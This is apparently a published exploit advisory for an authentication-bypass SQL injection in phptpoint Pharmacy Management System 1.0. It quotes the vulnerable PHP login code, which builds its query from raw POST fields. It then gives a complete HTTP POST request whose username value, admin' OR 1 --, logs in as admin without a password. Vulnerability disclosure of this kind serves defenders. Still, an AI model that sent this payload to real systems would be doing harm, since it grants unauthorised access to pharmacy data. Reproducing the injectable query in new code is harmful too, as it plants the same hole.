phptpoint Pharmacy Management System 1.0 - 'username' SQL injection

# Exploit Title: phptpoint Pharmacy Management System 1.0 - 'username' SQL injection 
# Date: 2018-10-24
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link: https://www.phptpoint.com/pharmacy-management-system/
# Version: 1
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Description: phptpoint Pharmacy Management System SQL injection suffers from a SQL injection 
# vulnerability that allows an attacker to bypass the login page and authenticate 
# as admin or any other user.  
 
# Vulnerable Code:

4 $username=$_POST['username'];
5 $password=$_POST['password'];
6 $position=$_POST['position'];
7 switch($position){
8 case 'Admin':
9 $result=mysql_query("SELECT admin_id, username FROM admin WHERE username='$username' AND password='$password'");
10 $row=mysql_fetch_array($result);

# Payload:

POST /Pharmacy/index.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 80
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/Pharmacy/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
Connection: close

username=admin%27+OR+1+--+&password=anyPassword&position=Admin&submit=Login